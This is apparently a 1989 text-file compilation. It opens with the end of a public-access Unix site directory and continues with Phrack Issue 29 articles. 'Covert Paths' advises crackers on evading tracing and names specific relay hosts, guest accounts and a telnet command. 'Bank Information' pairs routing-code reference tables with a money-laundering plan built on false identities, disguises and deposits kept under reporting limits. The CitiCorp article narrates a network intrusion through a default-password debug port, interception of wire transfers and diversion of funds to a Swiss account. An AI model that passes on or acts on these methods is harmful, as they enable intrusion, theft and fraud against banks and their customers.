11/89 708‑272‑5912^ igloo Northbrook IL 12/24/96 24 3B2‑300; accounts by invitation only, no limit/no fee; full usenet; 132megs HD; 2 lines rotary, 9600 telebit on 272‑5917

Contact: igloo!postmaster

11/89 708‑301‑2100^ jolnet Joliet IL 3/12/24 24 3b2/400 ‑ Unix, public access and contributions, No fee for postnews. 5 lines AKCS bbs. Free Newsfeeds available. >450 MB online storage. Free Shell and Usenet access. Telebit Trailblazer access (2104). Telenet access.

11/89 708‑566‑8911^ ddsw1 Mundelein IL 3/12/24/96 24 Televideo 386 ‑SCO XENIX 386, guest usr 1 hr daily, fee extends use AKCS bbs, fee $30/6 months $50/year, Authors of AKCS bbs multiple lines, 9600 bps available, anonymous uucp, >/README for info Contact: Karl Denninger (...!ddsw1!karl) Voice: (312) 566‑8910

11/89 708‑833‑8126^ vpnet Villa Park IL 12/24/96 24 386 Clone ‑ Interactive 386/ix R2.0 (3.2), no fee. Akcs linked bbs including several Usenet conf's. No charge for shells. Trailblazer. Mail lisbon@vpnet.UUCP

07/89 713‑438‑5018 sugar Houston TX 3/12/24/96 24 386/AT (2) networked ‑ Bell Technologies V/386, usenet, news, downloads Homegrown BBS software, Trailblazer+ access, currently no charges

10/89 713‑668‑7176^ nuchat Houston TX 3/12/24/96 24 i386; USENET, Mail, Shell Access; 300M On‑line; Trailbazer Used; No fee.

12/88 714‑635‑2863 dhw68k Anaheim CA 12/24 24 Unistride 2.1, no fee, also 714‑385‑1915, Trailblazer on both lines, USENET News, /bin/sh or /bin/csh available

05/89 714‑662‑7450 turnkey Inglewood CA 12/24 24 286 ‑ Xenix SYSV, XBBS

11/89 714‑821‑9671 alphacm Cypress CA 12/24/96 24 386 ‑ SCO‑XENIX, no fee, Home of XBBS, 90 minute per login, 4 lines, 9600 baud via MicroComm/Hayes (v.29)

uucp‑anon: ogin: nuucp NO PASSWD

05/89 714‑842‑5851 conexch Santa Ana CA 3/12/24 24 386 ‑ SCO Xenix ‑ Free Unix guest login and PC‑DOS bbs login, one hour inital time limit, USENET news, shell access granted on request & $25/quarter donation. Anon uucp: ogin: nuucp NO PASSWD. List of available Unix files resides in /usr3/public/FILES.

08/88 714‑894‑2246 stanton Irvine CA 3/12/24 24 286 ‑ SCO Xenix ‑ donation requested, limit 240 min, XBBS, USENET news UNIX access granted on request through BBS, 20$/year, access includes C development system (XENIX/MSDOS), PROCALC 1‑2‑3 clone, FOXBASE+ anon uucp: ogin: nuucp, no word, 2400/1200/300 MNP supported

05/88 719‑632‑4111 chariot Colo Sprgs CO 3/12 24 Convrgnt Minifrme ‑ SYS V, multiple lines, fee $12/mo Picospan

08/89 801‑943‑7947^ i‑core Salt Lake City UT 3/12/24/96 24 286 SYS V, Unidel BBS, a.k.a. Bitsko's Bar & Grill, no limit, no fee, UseNet and Citadel feeds available, home of Unidel BBS, Telebit 19200 used Contact: ken@i‑core.UUCP or uunet!iconsys!caeco!i‑core!ken

12/88 802‑865‑3614 tnl Burlington VT 3/12/24 24 80386 w/ SCO XENIX. No Fee. 2 hr session limit. XBBS/USENET, shell. Login as 'new' for a shell account, no validation. AKA: Northern Lights.

08/88 813‑952‑1981 usource Sarasota FL 12/24 ‑24 386 ‑ SCO‑XENIX, fee depends on services provided, no fee for bbs. New users subscribe by logging in as 'help' or 'newuser' (no password). Primary purpose is technical forum. 6pm‑8am M‑Th, 24 hrs weeekends (6pm Fri‑8am Mon) uucp‑anon: 1200/2400 bps ‑‑> ogin: auucp word: gateway uucp‑anon directory: /usr/spool/uucppublic; contact: frank@usource.UUCP

08/88 814‑333‑6728 sir‑alan Meadville PA 3/12/24 24 Tandy XENIX/68000 03.01.02, Allegheny College, UNaXcess BBS uucp‑anon: ogin: pdsrc NO PASSWD

uucp‑anon directory: /usr/spool/pdsrc/all.subjects

Telebit TB+ available at 814 337 0894, now operating.

Contact: sir‑alan!mikes

05/88 814‑337‑3159 oncoast Meadville PA 3/12/24/96 24 Tandy 12/6000, no fee, no bbs, archive site, USR HST 9600, cycle 24/96/12 vols 1 ‑ 13 of mod.sources/comp.sources.unix, comp.sources.misc New stuff on sir‑alan, older on oncoast. 2 uucp logins "uucp" and "pdsrc" files list = /usr/spool/uucppublic/my.directory or /usr/spool/pdsrc/ all.subjects.Z

09/89 916‑649‑0161 sactoh0 Sacramento CA 12/24/96 24 3B2/310 SYSV.2, SAC_UNIX; $2/month, limit 90 min, 2 lines, TB on line, 2400/1200 baud on 916‑722‑6519; USENET, E‑Mail, Games; login: new Contact: ..pacbell!sactoh0!sysop

089 919‑493‑7111^ wolves Durham NC 3/12/24 24 AMS 386/25 ‑ UNIX SysVr3.2, XBBS, no fee for bbs. Rates for UNIX access and USENET are being determined. Developing yet another UNIX bbs (ideas welcome!) Single line, telebit coming soon.

Contact: wolves!ggw or wolves!sysop [...duke!dukcds!wolves!...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE: ^ means the site is reachable using PC Pursuit.

========================================

This list is maintained by Phil Eschallier on lgnp1. Any additions, deletions, or corrections should be sent to one of the addresses below. The nixpub listings are kept as current as possible. However, you use this data at your own risk and cost ‑‑ all standard disclaimers apply!!!

‑‑‑‑‑‑

Lists available from lgnp1 via anonomous uucp. +1 215 348 9727 [Telebit access] login: nuucp NO PWD [no rmail permitted] this list: /usr/spool/uucppublic/nixpub short list: /usr/spool/uucppublic/nixpub.short or from news groups pubnet.nixpub, comp.misc or alt.bbs. ‑‑‑‑‑‑

E‑MAIL ...

uucp: ..!uunet!lgnp1!$ phil | nixpub $

or: $ phil | nixpub $@LS.COM

CIS: 71076,1576

========================================

COMPAQ, IBM, PC Pursuit, [SCO] XENIX, UNIX, etc. are trademarks of the respective companies.

========================================

nixpub short listing

Open Access UNIX (*NIX) Sites [Fee / No Fee] for mapped sites only

[ November 12, 1989 ]

Systems listed (73)

Legend: fee/contribution ($), no fee (‑$), hours (24), not (‑24) shell (S), USENET news (N), email (M), multiple lines (T) Telebit 9600 bps on main number (+P), Telebit on other line[s] (P) Courier 9600 bps on main number (+H), Courier on other line[s] (H) anonymous uucp (A), archive site ONLY ‑ see long form list (@) @> = anonymous uucp archive site listed in ANONIX (mike@cpmain) Dialable thru PC Pursuit (^)

Last

Contact

Date Telephone # Sys‑name Location Baud Legend

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑ ‑‑‑‑‑‑‑‑

08/89 201‑846‑2460^ althea New Brunswic NJ 3/12/24 24 ‑$ M N S 10/89 206‑328‑4944 polari Seatle WA 3/12 24 $ M N P S T 10/89 212‑420‑0527 magpie NYC NY 3/12/24/96 24 ‑$ T P 10/89 212‑675‑7059 marob NYC NY 12/24 24 ‑$ A 05/89 212‑879‑9031^ dasys1 NYC NY 12/24 24 $ S N M T 09/89 213‑376‑5714^ pnet02 Redondo Bch CA 3/12/24 24 ‑$ M N T 09/89 213‑397‑3137^ stb Santa Monica CA 3/12/24 24 ‑$ S A 11/88 213‑459‑5891 amazing Pac Palisade CA 3/12/24 24 $ T 07/88 214‑247‑2367 ozdaltx Dallas TX 3/12/24 24 $ N T 07/89 214‑741‑2130 attctc Dallas TX 3/12/24 24 ‑$ N M S T A 11/89 215‑348‑9727 lgnp1 Doylestown PA 3/12/24/96 24 $ A M N +P S 09/89 216‑582‑2441 ncoast Cleveland OH 12/24/96 24 $ S N M P T 08/88 217‑529‑3223 pallas Springfield IL 3/12/24 24 $ T 10/89 219‑289‑0286 nstar South Bend IN 3/12/24/96 24 ‑$ H M N P S T 08/88 312‑283‑0559^ chinet Chicago IL 3/12/24 24 $ N T 10/89 312‑338‑0632^ point Chicago IL 3/12/24/96 24 ‑$ N P S T 04/89 313‑623‑6309 nucleus Clarkston MI 12/24 24 $ S N M 11/88 313‑994‑6333 m‑net Ann Arbor MI 3/12 24 $ T 08/89 313‑996‑4644^ anet Ann Arbor MI 3/12 24 $ T 08/89 314‑474‑4581 gensis Columbia MO 3/12/24/96 24 ‑$ M S 10/89 404‑321‑5020^ jdyx Atlanta GA 12/24 24 $ M N +P S T 05/88 407‑380‑6228 rtmvax Orlando FL 3/12/24 24 ‑$ N M 09/89 408‑245‑7726^ uuwest Sunnyvale CA 3/12/24 24 ‑$ N 04/88 408‑247‑4810 sharks Santa Clara CA 3/12 24 $ S N M T 11/89 408‑423‑9995 cruzio Santa Cruz CA 12/24 24 $ M T 10/89 408‑725‑0561^ portal Cupertino CA 3/12/24 24 $ ‑S N M T 02/89 408‑997‑9119^ netcom San Jose CA 3/12/24/96 24 $ M N S 10/89 412‑431‑8649 eklektik Pittsburgh PA 3/12/24 24 $ S N M 11/89 415‑332‑6106^ well Sausalito CA 12/24 24 $ M N S T 06/88 415‑582‑7691 cpro Hayward CA 12/24 24 ‑$ S 07/89 415‑753‑5265^ wet San Francisc CA 3/12/24 24 $ M N S T 05/89 415‑783‑2543 esfenn Hayward CA 3/12/24 24 ‑$ M N S 01/89 416‑452‑0926 telly Brampton ON 12/24/96 +P 24 $ M N 12/88 416‑461‑2608 tmsoft Toronto ON 3/12/24/96 24 $ S M N 07/89 416‑654‑8854 ziebmef Toronto ON 3/12/24/96 24 +P M N S T 08/89 502‑968‑5401 disk Louisville KY 3/12 24 $ M N S T 12/88 503‑254‑0458 bucket Portland OR 3/12/24 24 ‑$ N M T 05/89 503‑640‑4262^ agora PDX OR 3/12/24 24 $ M N S T 10/88 512‑346‑2339 bigtex Austin TX 96 +P 24 ‑S ‑$ A @> 07/89 512‑832‑8835 rpp386 Austin TX 12/24 24 @ ‑$ ‑S A T 10/89 513‑779‑8209 cinnet Cincinnati OH 12/24/96 24 $ M N +P S 05/89 516‑872‑2137 lilink Long Island NY 12/24 24 $ M N S T 07/89 517‑487‑3356 lunapark E. Lansing MI 12/24 24 ‑$ 12/88 518‑346‑8033 sixhub upstate NY 3/12/24 24 $ S N M T 09/88 602‑941‑2005 xroads Phoenix AZ 3/12/24 24 $ N T 08/89 603‑880‑8120 ubbs‑nh Nashua NH 3/12/24/96 24 ‑$ M N +P S T 08/89 605‑348‑2738 loft386 Rapid City SD 3/12/24/96 24 $ M N +P S 08/88 608‑273‑2657 madnix Madison WI 3/12/24 24 ‑$ S N M 08/89 612‑473‑2295 pnet51 Minneapolis MN 3/12/24 24 ‑$ N M T 08/89 615‑896‑8716 raider Murfreesboro TN 12/24 24 ‑$ S N M T 07/89 616‑457‑1964 wybbs Jenison MI 3/12/24 24 ‑$ S N T 11/89 617‑739‑9753 world Brookline MA 3/12/24/96 24 $ M N P S T 07/88 619‑444‑7006^ pnet01 El Cajon CA 3/12/24 24 $ N M S T 10/88 703‑281‑7997^ grebyn Vienna VA 3/12/24/96 24 $ N M T P 11/89 708‑272‑5912^ igloo Northbrook IL 12/24/96 24 ‑$ S N T P 11/89 708‑301‑2100^ jolnet Joliet IL 3/12/24 24 ‑$ +P M N S T 08/88 312‑566‑8911^ ddsw1 Mundelein IL 3/12/24/96 24 $ S N M T A P 11/89 708‑833‑8126^ vpnet Villa Park IL 12/24/96 24 ‑$ +P M N S 07/89 713‑438‑5018 sugar Houston TX 3/12/24/96 24 ‑$ N +P 10/89 713‑668‑7176^ nuchat Houston TX 3/12/24/96 24 ‑$ M N +P S 12/88 714‑635‑2863 dhw68k Anaheim CA 12/24 24 ‑$ T 05/89 714‑662‑7450 turnkey Inglewood CA 12/24 24 ‑$ 11/89 714‑821‑9671 alphacm Cypress CA 12/24/96 24 ‑$ T H A 05/89 714‑842‑5851 conexch Santa Ana CA 3/12/24 24 $ A M N S 08/88 714‑894‑2246 stanton Irvine CA 3/12/24 24 $ S N 05/88 719‑632‑4111 chariot Colo Sprgs CO 3/12 24 $ T 08/89 801‑943‑7947^ i‑core Salt Lake Ci UT 3/12/24/96 +P 24 ‑$ A N 06/88 802‑865‑3614 tnl Burlington VT 3/12/24 24 ‑$ S N M 08/88 813‑952‑1981 usource Sarasota FL 12/24 ‑24 ‑$ A 08/88 814‑333‑6728 sir‑alan Meadville PA 3/12/24 24 ‑$ A P 05/88 814‑337‑3159 oncoast Meadville PA 3/12/24/96 +H 24 @ ‑$ ‑S A 09/89 916‑649‑0161 sactoh0 Sacramento CA 12/24/96 24 $ M N +P S T 08/89 919‑493‑7111^ wolves Durham NC 3/12/24 24 $ M N S

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

NOTE: ^ means the site is reachable using PC Pursuit.

========================================

This list is maintained by Phil Eschallier on lgnp1. Any additions, deletions, or corrections should be sent to one of the addresses below. The nixpub listings are kept as current as possible. However, you use this data at your own risk and cost ‑‑ all standard disclaimers apply!!!

‑‑‑‑‑‑

Lists available from lgnp1 via anonomous uucp. +1 215 348 9727 [Telebit access] login: nuucp NO PWD [no rmail permitted] this list: /usr/spool/uucppublic/nixpub.short long list: /usr/spool/uucppublic/nixpub or from news groups pubnet.nixpub, comp.misc or alt.bbs ‑‑‑‑‑‑

E‑MAIL ...

uucp: ..!uunet!lgnp1!{ phil | nixpub }

or: { phil | nixpub }@LS.COM

========================================

COMPAQ, IBM, PC Pursuit, [SCO] XENIX, UNIX, etc. are trademarks of the respective companies.

Covert Paths

==Phrack Inc.==

Volume Three, Issue 29, File #5 of 12

[‑][‑] [‑][‑] [‑][‑] [‑][

[‑]

[‑] Covert Paths [‑]

[‑]

[‑] by [‑]

[‑]

[‑] Cyber Neuron Limited and Synthecide [‑]

[‑]

[‑] November 1, 1989 [‑]

[‑]

[‑][‑] [‑][‑] [‑][‑] [‑][

When cracking a system, it is important for you to use a path to the system that will not lead the authorities to your door step.

There are several methods for doing this and all of them will depend on your destination, available time, goal and the phase of the moon. This article deals mostly with cover attacks via a connected network.

If attacking via a phone link:

o Tap in to your local payphone line and red box or "sprint" the call.

o Using a long haul service (like Sprint or MCI) to dial into systems in remote cities. [This should hinder a track by a good order of magnitude.]

o Use a midnight packet switching network (eg: PC‑Pursuit, Tymnet, et. al.)

o All the above.

If attacking from a network (eg: the Internet) there are ways of spoofing the packet headers, but this requires superuser privileges on the system you are attacking from and a fair amount of 'C' programming expertise. Therefore, this will not be discussed here in any more detail.

Another obvious trick is to use network routers and gateways along with guest accounts to "route" your data path. This will cause the person tracking you to have to go though more red tape and hassle to track you. This gives you more time to cover your tracks.

Some useful paths I know of are:

accuvax.nwu.edu

cory.berkeley.edu

violet.berkeley.edu

headcrash.berkeley.edu

host: violet.berkeley.edu host: headcrash.berkeley.edu account: nobody account: netgate

net address:128.32.136.22 net address: 128.32.234.31

host: cory.berkeley.edu host accuvax.nwu.edu account: terminal account: telnet

net address: 128.32.134.6 net address: 129.105.49.1

host: lightning.berkeley.edu host: score.stanford.edu port: 8033 account: guest

net address: 128.32.234.10 net address: 36.8.0.46

The accounts nobody, netgate, and terminal at Berkeley are accounts that were installed so that people can use the system to rlogin or telnet to an account elsewhere without a local login (or so I am told by the local hackers [Hi Audrey...]). The lightning path/method can be accessed by the command: "telnet lightning.berkeley.edu 8033".

I am interested in hearing about other Internet access accounts that are available out there. If you know of any please send them in.

Tymnet is also a useful method of gaining access to systems. From Tymnet, you can hook up to just about any computer and use the other methods to go one step further. It's not until you are traced back to the computer you linked to from Tymnet that they can even begin to follow you back. My understanding is that for a systen to find your Tymnet node, they must contact Tymnet personally and ask them to put a trap on their connection.

For more infomation concerning Tymnet see the article "Hacking & Tymnet" by Synthecide in Phrack Inc. Newsletter Issue XXX.

*****************************

Bank Information compiled

==Phrack Inc.==

Volume Three, Issue 29, File #6 of 12

+ BANK INFORMATION +

\

\

___Compiled By___

/

Legion Of Doom!

EFT Division

‑‑‑‑‑‑‑

In order to exact any type of bank associated transaction by computer, one must have a working knowledge of the various routing codes involved in the banking processes. The following is an informational guide to the coding used in American banking transactions.

ABA (American Bankers Association) Transit Numbers

Numbers 1 to 49 inclusive are Prefixes for Cities

Numbers 50 to 99 inclusive are Prefixes for States

Prefix Numbers 50 to 58 are Eastern States

Prefix Number 59 is for Alaska, Hawaii, and US Territories

Prefix Numbers 60 to 69 are Southeastern States

Prefix Numbers 70 to 79 are Central States

Prefix Numbers 80 to 88 are Southwestern States

Prefix Numbers 90 to 99 are Western States

1 New York, NY

2 Chicago, IL

3 Philadelphia, PA

4 St. Louis, MO

5 Boston, MA

6 Cleveland, OH

7 Baltimore, MD

8 Pittsburgh, PA

9 Detroit, MI

10 Buffalo, NY

11 San Francisco, CA

12 Milwaukee, WI

13 Cincinnati, OH

14 New Orleans, LA

15 Washington D.C.

16 Los Angeles, CA

18 Kansas City, MO

19 Seattle, WA

20 Indianapolis, IN

21 Louisville, KY

22 St. Paul, MN

23 Denver, CO

24 Portland, OR

25 Columbus, OH

26 Memphis, TN

27 Omaha, NE

28 Spokane, WA

29 Albany, NY

30 San Antonio, TX

31 Salt Lake City, UT

32 Dallas, TX

33 Des Moines, IA

34 Tacoma, WA

35 Houston, TX

36 St. Joseph, MO

37 Fort Worth, TX

38 Savannah, GA

39 Oklahoma City, OK

40 Wichita, KS

41 Sioux City, IA

42 Pueblo, CO

43 Lincoln, NE

44 Topeka, KS

45 Dubuque, IA

46 Galveston, TX

47 Cedar Rapids, IA

48 Waco, TX

49 Muskogee, OK

50 New York

51 Connecticut

52 Maine

53 Massachusetts

54 New Hampshire

55 New Jersey

56 Ohio

57 Rhode Island

58 Vermont

59 Alaska, American Samoa, Guam, Hawaii, Puerto Rico, Virgin Islands 60 Pennsylvania

61 Alabama

62 Delaware

63 Florida

64 Georgia

65 Maryland

66 North Carolina

67 South Carolina

68 Virginia

69 West Virginia

70 Illinois

71 Indiana

72 Iowa

73 Kentucky

74 Michigan

75 Minnesota

76 Nebraska

77 North Dakota

78 South Dakota

79 Wisconsin

80 Missouri

81 Arkansas

83 Kansas

84 Louisiana

85 Mississippi

86 Oklahoma

87 Tennessee

88 Texas

90 California

91 Arizona

92 Idaho

93 Montana

94 Nevada

95 New Mexico

96 Oregon

97 Utah

98 Washington

99 Wyoming

Federal Reserve Routing Symbols

* All banks in an area served by a FR bank or branch bank carry the routing symbol of the FR bank or branch

1 Federal Reserve Bank of Boston Head 5‑1

Office 110

2 Federal Reserve Bank of New York Head 1‑120

Office 210

Buffalo Branch 10‑26

220

3 Federal Reserve Bank of Philadelphia 3‑4

Head Office 310

4 Federal Reserve Bank of Cleveland Head 0‑1

Office 410

Cincinnati Branch 13‑43

420

Pittsburgh Branch 8‑30

430

5 Federal Reserve Bank of Richmond Head 68‑3

Office 510

Baltimore Branch 7‑27

520

Charlotte Branch 66‑20

530

6 Federal Reserve Bank of Atlanta Head 64‑14

Office 610

Birmingham Branch 61‑19

620

Jacksonville Branch 63‑19

630

Nashville Branch 87‑10

640

New Orleans Branch 14‑21

650

7 Federal Reserve Bank of Chicago Head 2‑30

Office 710

Detroit Branch 9‑29

720

8 Federal Reserve Bank of St. Louis Head 4‑4

Office 810

Little Rock Branch 81‑13

110

Louisville Branch 21‑59

830

Memphis Branch 26‑3

840

9 Federal Reserve Bank of Minneapolis 17‑8

Head Office 910

Helena Branch 92‑26

920

10 Federal Reserve Bank of Kansas City 18‑4

Head Office 1010

Denver Branch 23‑19

1020

Oklahoma City Branch 39‑24

1030

Omaha Branch 27‑12

1040

11 Federal Reserve Bank of Dallas Head 32‑3

Office 1110

El Paso Branch 88‑1

1120

Houston Branch 35‑4

1130

San Antonio Branch 30‑72

1140

12 Federal Reserve Bank of San Francisco 11‑37

Head Office 1210

Los Angeles Branch 16‑16

1220

Portland Branch 24‑1

1230

Salt Lake City Branch 31‑31

1240

Seattle Branch 19‑1

1250

BANK IDENTIFICATION CODES

XX‑YYY WHERE: XX = City or State

ZZZZ YYY = Bank of Origin

ZZZZ = Federal Reserve Routing Code

If three digits: The first digit identifies the Federal Reserve District

The second digit, if 1, stands for the Head Office of the Federal Reserve District; 2‑5 stand for the Branch Office of the Federal Reserve District

The third digit signifies: 0‑available for immediate credit; others have deferred credit and the digits mean the following: 1‑5 designates the state in which the drawee bank is located; 6‑9 special collection arrangements.

If four digits: The first two digits stand for the Federal Reserve District 10‑12.

The following digits are as above

EXAMPLE:

68‑424 68‑State of Virginia

514 424‑Arlington Trust Co., Arlington, VA 5‑Fifth Federal Reserve District 1‑Head Office in Richmond, Virginia 4‑Deferred credit and the state of Virginia

*NOTE ‑‑ For further your familiarity with the coding process, on checks, these numbers appear at the bottom of the check according to the MICR Check Coding System. The check number, the account number, and the ABA Transit Number will all be encoded in magnetic ink. The ABA Number will be enclosed in symbols like: |: ABANUMBER |: The grouping of the ABA and Federal Reserve Codes will also usually appear at the upper right‑hand corner of the check.

Keep in mind that there are a great many checks involved in any banking procedure, and almost any transaction evoked improperly will draw attention. Furthermore, the documents generated in a legitimate wire‑transfer situation are quite extensive. Should a transaction be noticed, and these documents are not available for scrutiny, again attention will be drawn to the situation.

* BANK DOCUMENTS *

* WIRE TRANSFER *

INTERNAL CUSTOMER RECORD

Teller Tape & Proof Sheets Copy of Wire Transfer Ticket Wire Transfer Ticket Cancelled Check (if used to Microfilm copy of check purchase) used to purchase wire Bank Statement (if funds came transfer out of the account) Microfilm copies of account

records (if fund came out

of existing account)

Cash In/Out Ticket

Vault Book Entry

Bank Security Film

Copy of CTR

Bank transactions must be swift and precise. Amounts should be kept under the $10,000 range in order not to immediately arouse suspicion. Attacks must executed correctly the first time, as there will be no possibilities for a second chance. Monies must be gathered rapidly and dispersed into various outlets to avoid additional attention. Transfers to banking systems whose countries keep strict right to privacy laws, such as Panama, Switzerland, et.al. are not recommended as the transactions are much more involved and there exists a greater potential for error in international wire‑transfers.

The preferred method of transfer of funds would involve one or more false identities, complete with state approved identification or passport and social security cards. Bank Security Film is kept on file, so it would be preferred that some semblance of disguise be implemented, ranging from hair bleaching, sun‑tanning, makeup, false accents, facial hair, etc. Various accounts in the assumed name would be opened in several cities with the minimum initial balance. Within approximately two weeks, funds of no more than $7500 would be diverted to each account. The funds would then be withdrawn in cash with no more than $5000 from each account, the balance being left in the account. Once the funds have been made cash, they would then be distributed to foreign banks, or invested in foreign markets to avoid detection by the Internal Revenue Service.

Conviction for Illegal Transference of Funds is not recommended.

How We Got Rich Through Electronic Fund Transfer

==Phrack Inc.==

Volume Three, Issue 29, File #7 of 12

The Legion of Doom!

EFT Division

Presents

HOW WE GOT RICH THROUGH ELECTRONIC FUND TRANSFERS

(OR: GEE! NO, GTE!)

A certain number of financial institutions that reside within the packet‑switched confines of the various X.25 networks use their connections to transfer funds from one account to another, one mutual fund to another, one stock to another, one bank to another, etc... It is conceivable that if one could intercept these transactions and divert them into another account, they would be transferred (and could be withdrawn) before the computer error was noticed. Thus, with greed in our hearts, an associate and I set forth to test this theory and conquer the international banking world.

We chose CitiCorp as our victim. This multinational had two address prefixes of its own on Telenet (223 & 224). Starting with those two prefixes, my associate and I began to sequentially try every possible address. We continued through 1000 in increments of one, then A‑Z, then 1000‑10000 by 10's, and finally 10000‑99999 by 100's. Needless to say, many addresses were probably skipped over in our haste to find valid ones, but many we passed over were most likely duplicate terminals that we had already encountered.

For the next few days my associate and I went over the addresses we had found, comparing and exchanging information, and going back to the addresses that had shown 'NOT OPERATING,' 'REMOTE PROCEDURE ERROR,' and 'REJECTING.' We had discovered many of the same types of systems, mostly VAX/VMS's and Primes. We managed to get into eight of the VAXen and then went forth on the CitiCorp DECNET, discovering many more. We entered several GS1 gateways and Decservers and found that there were also links leading to systems belonging to other financial institutions such as Dai‑Ichi Kangyo Bank New York and Chase Manhattan. We also found hundreds of addresses to TWX machines and many in‑house bank terminals (most of which were 'BUSY' during banking hours, and 'NOT OPERATING' during off hours). In fact, the only way we knew that these were bank terminals was that an operator happened to be idle just as I connected with her terminal (almost like the Whoopie Goldberg movie, "Jumpin' Jack Flash," not quite as glamorous ...yet.)

Many of the computers we eventually did penetrate kept alluding to the electronic fund transfer in scripts, files, and personal mail. One of the TOPS‑20 machines we found even had an account EFTMKTG.EFT, (password EFTEFT)! All the traces pointed to a terminal (or series of terminals) that did nothing but transfer funds. We decided that this was the case and decided to concentrate our efforts on addresses that allowed us to CONNECT periodically but did not respond. After another week of concentrated effort, we managed to sort through these. Many were just terminals that had been down or malfunctioning, but there were five left that we still had no idea of their function. My associate said that we might be able to monitor data transmissions on the addresses if we could get into the debug port. With this idea in mind, we set out trying sub‑addresses from .00 to .99 on the mystery addresses. Four of the five had their debug ports at the default location (.99). The fifth was located 23 away from the default. That intrigued us, so we put the others aside and concentrated on the fifth. Although its location was moved, a default password was still intact, and we entered surreptitiously.

The system was menu driven with several options available. One option, Administrative Functions, put us into a UNIX shell with root privilege. After an hour or so of nosing around, we found a directory that held the Telenet Debug Tools package (which I had previously thought existed solely for Prime computers). Using TDT, we were able to divert all data (incoming and outgoing) into a file so we could later read and analyze it. We named the file ".trans" and placed it in a directory named ".. ", (dot, dot, space, space) so it would remain hidden. This was accomplished fairly late on a Sunday night. After logging off, we opened a case of Coors Light and spent the rest of the night (and part of the morning!) theorizing about what we might see tomorrow night (and getting rather drunk).

At approximately 9:00 p.m. the following evening, we met again and logged onto the system to view the capture file, hoping to find something useful. We didn't have to look very far! The first transmission was just what we had been dreaming about all along. The computer we were monitoring initiated by connecting with a similar computer at another institution, waited for a particular control sequence to be sent, and then transferred a long sequence of numbers and letters. We captured about 170 different transactions on the first day and several hundred more in the following week. After one business week, we removed the file and directory, killed the TDT routine, and went through the system removing all traces that we had been there.

We felt that we had enough to start piecing together what it all meant, so we uploaded our findings to the LOD HP‑3000 (ARMA) in Turkey. This way we could both have access to the data, but keep it off our home systems. We didn't bother to tell any of the other LOD members about our doings, as most had retired, been busted, or were suspected of turning information over to the Secret Service. Using this as a base, we analyzed the findings, sorted them, looked for strings being sent, etc.

We came to the conclusion that the transmissions were being sent in the following way:

XXXXXXXXXXXXTCxxxxxxxxxxxx/NNNNNNNNNNNNCnnnnnnnnnnnnAMzzzzzzz.zzOP# X=Originating Bank ID

T=Transfer (Also could be R(ecieve), I(nquire))

C=Type of account (Checking‑‑Also S(avings) I(RA) M(oney Market) T(rust) W(Other wire transfer ie. Credit Transfer, etc.)) x=Originating Account Number

/=Slash to divide string

N=Destination Bank ID

C=Type of account (See above)

n=Destination Account Number

AMzzzzzzz.zz=Amount followed by dollar and cents amount OP#=operator number supervising transaction

After this string of information was sent, the destination bank would then echo back the transaction and, in ten seconds, unless a CONTROL‑X was sent, would send "TRANSACTION COMPLETED" followed by the Destination Bank ID.

We now needed to check out our theory about the Bank ID's, which I figured were the Federal Reserve number for the Bank. Every bank in America that deals with the Federal Reserve System has such a number assigned to it (as do several European Banks). I called up CitiBank and inquired about their Federal Reserve Number. It was the number being sent by the computer. With this information, we were ready to start.

I consulted an accountant friend of mine for information on Swiss or Bahamanian bank accounts. He laughed and said that a $50,000 initial deposit was required to get a numbered account at most major Swiss banks. I told him to obtain the forms necessary to start the ball rolling and I'd wire the money over to the bank as soon as I was told my account number. This shook him up considerably, but he knew me well enough not to ask for details. He did, however, remind me of his $1000 consulting fee. A few days later he showed up at my townhouse with an account number, several transaction slips and paperwork. Knowing that I was up to something shady, he had used one of his own false identities to set up the account. He also raised his "fee" to $6500 (which was, amazingly enough, the amount he owed on his wife's BMW).

My associate and I then flew to Oklahoma City to visit the hall of records to get new birth certificates. With these, we obtained new State ID's and Social Security Numbers. The next step was to set up bank accounts of our own. My associate took off to Houston and I went to Dallas. We each opened new commercial accounts at three different banks as LOD Inc. with $1000 cash.

Early the next day, armed with one Swiss and six American accounts, we began our attack. We rigged the CitiCorp computer to direct all of its data flow to a local Telenet node, high up in the hunt series. Amazingly, it still allowed for connections from non‑909/910 nodes. We took turns sitting on the node, collecting the transmissions and returning the correct acknowledgments. By 12:30 we had $184,300 in electronic funds in "Limbo." Next we turned off the data "forwarding" on the CitiCorp computer and took control of the host computer itself through the debug port to distribute the funds. Using its data lines, we sent all the transactions, altering the intended bank destinations, to our Swiss account.

After I got the confirmation from the Swiss bank I immediately filled out six withdrawal forms and faxed them to the New York branch of the Swiss bank along with instructions on where the funds should be distributed. I told the bank to send $7333 to each of our six accounts (this amount being small enough not to set off Federal alarms). I did this for three consecutive days, leaving our Swiss account with $52,000. I signed a final withdrawal slip and gave it to my accountant friend.

Over the next week we withdrew the $22,000 from each of our Dallas and Houston banks in lots of $5000 per day, leaving $1000 in each account when we were through. We were now $66,000 apiece richer.

It will be interesting to see how the CitiCorp Internal Fraud Auditors and the Treasury Department sort this out. There are no traces of the diversion, it just seems to have happened. CitiBank has printed proof that the funds were sent to the correct banks, and the correct banks acknowledgment on the same printout. The correct destination banks, however, have no record of the transaction. There is record of CitiBank sending funds to our Swiss account, but only the Swiss have those records. Since we were controlling the host when the transactions were sent, there were no printouts on the sending side. Since we were not actually at a terminal connected to one of their line printers, no one should figure out to start contacting Swiss banks, and since CitiBank does this sort of thing daily with large European banks, they will be all twisted and confused by the time they find ours. Should they even get to our bank, they will then have to start the long and tedious process of extracting information from the Swiss. Then if they get the Swiss to cooperate, they will have a dead‑end with the account, since it was set up under the guise of a non‑entity. The accounts in Dallas and Houston were also in fake names with fake Social Security Numbers; we even changed our appearances and handwriting styles at each bank.

I'm glad I'm not the one who will have the job of tracking me down, or even trying to muster up proof of what happened. Now we won't have to worry about disposable income for awhile. I can finish college without working and still live in relative luxury. It's kind of weird having over six‑hundred $100 bills in a drawer, though. Too bad we can't earn any interest on it!

** Since the events described transpired, CitiBank has made their Banking Transaction Ports all refuse collect connections. Even by connecting with an NUI they now respond "<<ENTER PASSWORD>>". C'est La Vie.

The Myth and Reality About Eavesdropping

==Phrack Inc.==

Volume Three, Issue 29, File #8 of 12

......................

